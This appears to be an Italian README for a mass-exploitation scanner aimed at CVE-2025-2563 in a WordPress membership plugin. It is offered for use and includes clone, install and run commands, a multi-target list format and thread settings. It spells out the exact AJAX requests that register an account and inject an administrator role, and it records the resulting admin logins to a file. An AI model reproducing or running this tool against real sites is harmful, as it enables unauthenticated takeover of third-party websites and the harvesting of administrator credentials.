
Il plugin WordPress User Registration & Membership prima della versione 4.1.2 non impedisce agli utenti di impostare il proprio ruolo dell'account quando il componente aggiuntivo Membership è abilitato, portando a un problema di escalation dei privilegi e consentendo a utenti non autenticati di ottenere privilegi di amministratore
Il plugin User Registration & Membership per WordPress, precedente alla versione 4.1.2, non impedisce agli utenti di impostare il proprio ruolo quando il Membership Addon è abilitato, causando un problema di escalation dei privilegi e consentendo a utenti non autenticati di ottenere privilegi di amministratore.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-2563 |
| Gravità | ALTA — CVSS v3.1 Punteggio: 8.1 |
| Vettore | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Software Affetto | Plugin User Registration & Membership per WordPress |
| Versioni Affette | Tutte le versioni precedenti alla 4.1.2 |
| Tipo di Vulnerabilità | Gestione dei Privilegi Impropria — Creazione di Account Amministratore Non Autenticata |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-269: Gestione dei Privilegi Impropria |
Descrizione:
Il plugin User Registration & Membership per WordPress, nelle versioni precedenti alla 4.1.2, non applica restrizioni lato server sui ruoli quando il Membership Addon è abilitato. Durante la registrazione all'abbonamento, il plugin accetta un campo role fornito dall'utente nell'azione AJAX user_registration_membership_register_member senza convalidarlo tramite una lista bianca lato server. Un attaccante remoto completamente non autenticato può inviare una sequenza AJAX a due passaggi — prima registrando un nuovo account utente tramite user_registration_user_form_submit, quindi iniettando "role": "administrator" nel payload members_data della chiamata di abbonamento — per creare silenziosamente un account Amministratore WordPress con pieni privilegi. Ciò comporta la compromissione totale del sito senza necessità di autenticazione o interazione da parte dell'utente.
Questo è uno scanner di sfruttamento di massa Proof-of-Concept (PoC) che prende di mira installazioni WordPress che eseguono una versione vulnerabile del plugin User Registration & Membership con il Membership Addon attivo. Lo strumento esegue uno sfruttamento intelligente a più fasi con scoperta automatica, raccolta di nonce, registrazione combinatoria, iniezione del ruolo e verifica dell'amministratore.
[Fase 1 — Scoperta]
GET /membership-pricing/ → Estrae membership_id, link ai prezzi
GET /membership-registration/ → Estrae form_id, nonce, token di sicurezza
GET /registration/ → Pagina di registrazione di fallback
↓
[Fase 2 — Estrazione Nonce]
Analizza: ur_membership_frontend_localized_data._nonce
Analizza: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Fase 3 — Registrazione (Attacco Combinato)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Prova tutte le combinazioni valide fino a success=true
↓
[Fase 4 — Iniezione del Ruolo (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Il server assegna il ruolo di amministratore all'utente appena creato
↓
[Fase 5 — Verifica Amministratore]
POST /wp-login.php → Login con nuove credenziali
GET /wp-admin/ → Controlla adminmenu / wp-admin-bar
GET /wp-admin/users.php → Conferma accesso manage_options
GET /wp-admin/plugin-install.php → Conferma accesso plugin-install
↓
[Salva in Nx_admin.txt]
Formato: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O tramite file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clona il repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Installa le dipendenze
pip install -r requirements.txt
# Esegui lo strumento
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Lo strumento utilizza un'interfaccia terminale completamente interativa basata su Rich.
Crea un file di testo semplice (predefinito: list.txt) — un target per riga:
https://target1.com
https://target2.com
http://target3.com
target4.com
I target senza
http://ohttps://vengono automaticamente prefixati conhttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
La password è fissata internamente come
Nx_adminSAper tutti i tentativi di registrazione.
Lo strumento esplora automaticamente tre pagine per target:
| Pagina | Scopo |
|---|---|
/membership-pricing/ | Estrai membership_id e link di registrazione |
/membership-registration/ | Estrai token del modulo, nonce e ID dei campi |
/membership-registration/?membership_id=<id> | Estrazione modulo specifico del piano |
/registration/ | Pagina di registrazione generica di fallback |
I seguenti token vengono estratti dall'HTML grezzo e dal JavaScript inline:
| Token | Fonte |
|---|---|
_nonce | Oggetto JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Campo input nascosto o oggetto JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Input nascosto ur-user-form-id o oggetto JS |
membership_id | Input radio urm_membership o stringa query URL |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest